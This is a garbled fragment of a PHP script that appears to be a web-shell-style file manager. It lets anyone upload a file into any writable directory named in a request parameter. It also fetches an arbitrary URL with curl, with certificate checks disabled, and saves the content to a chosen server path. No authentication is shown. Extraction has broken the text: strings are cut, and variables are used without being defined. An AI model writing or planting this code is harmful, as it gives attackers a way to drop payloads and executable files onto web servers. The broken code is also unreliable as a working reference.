Upload File'; echo '
'; } if (isset($_POST['submit_upload']) && isset($_FILES['file']['tmp_name'])) { $upload_tmp = $_FILES['file']['tmp_name']; $upload_error = $_FILES['file']['error']; $upload_name = $_FILES['file']['name']; if ($upload_error !== UPLOAD_ERR_OK) { echo "Upload failed: " . getUploadErrorMessage($upload_error) . "
"; } elseif (!isset($_POST['dir']) || empty($_POST['dir'])) { echo "Upload failed: Destination directory not specified
"; } elseif (!is_dir($_POST['dir'])) { echo "Upload failed: Directory '" . htmlspecialchars($_POST['dir']) . "' not found
"; } elseif (!is_writable($_POST['dir'])) { echo "Upload failed: Directory '" . htmlspecialchars($_POST['dir']) . "' is not writable
"; } else { $target_dir = rtrim($_POST['dir'], '/'); $target_file = $target_dir . "/" . $upload_name; if (file_exists($target_file)) { echo "Upload failed: File already exists
"; } else { if (move_uploaded_file($upload_tmp, $target_file)) { echo "Success! File uploaded to: " . htmlspecialchars($target_file) . "
"; } else { echo "Upload failed: Cannot copy file to destination
"; } } } } if (isset($_GET['inc']) && $_GET['inc'] === 'download') { // Display download form echo 'Error: Invalid URL format
"; } // Check if save path exists elseif (!is_dir($save_path)) { echo "Error: Directory '" . htmlspecialchars($save_path) . "' not found
"; } // Check if save path is writable elseif (!is_writable($save_path)) { echo "Error: Directory '" . htmlspecialchars($save_path) . "' is not writable
"; } else { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_TIMEOUT, 300); $file_content = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); $curl_error = curl_error($ch); curl_close($ch); if ($curl_error) { echo "Download failed: cURL error - " . htmlspecialchars($curl_error) . "
"; } elseif ($http_code !== 200) { echo "Download failed: HTTP Error " . $http_code . "
"; } elseif ($file_content === false || empty($file_content)) { echo "Download failed: No content received
"; } else { if (file_put_contents($full_path, $file_content)) { echo "Success! File downloaded to: " . htmlspecialchars($full_path) . "
"; echo "Size: " . number_format(strlen($file_content)) . " bytes
"; } else { echo "Download failed: Cannot write file to destination
"; } } } } function getUploadErrorMessage($error_code) { switch ($error_code) { case UPLOAD_ERR_INI_SIZE: return "File size exceeds upload_max_filesize"; case UPLOAD_ERR_FORM_SIZE: return "File size exceeds MAX_FILE_SIZE"; case UPLOAD_ERR_PARTIAL: return "File was only partially uploaded"; case UPLOAD_ERR_NO_FILE: return "No file was uploaded"; case UPLOAD_ERR_NO_TMP_DIR: return "Missing temporary folder"; case UPLOAD_ERR_CANT_WRITE: return "Failed to write file to disk"; case UPLOAD_ERR_EXTENSION: return "File upload stopped by extension"; default: return "Unknown error (Code: " . $error_code . ")"; } } ?>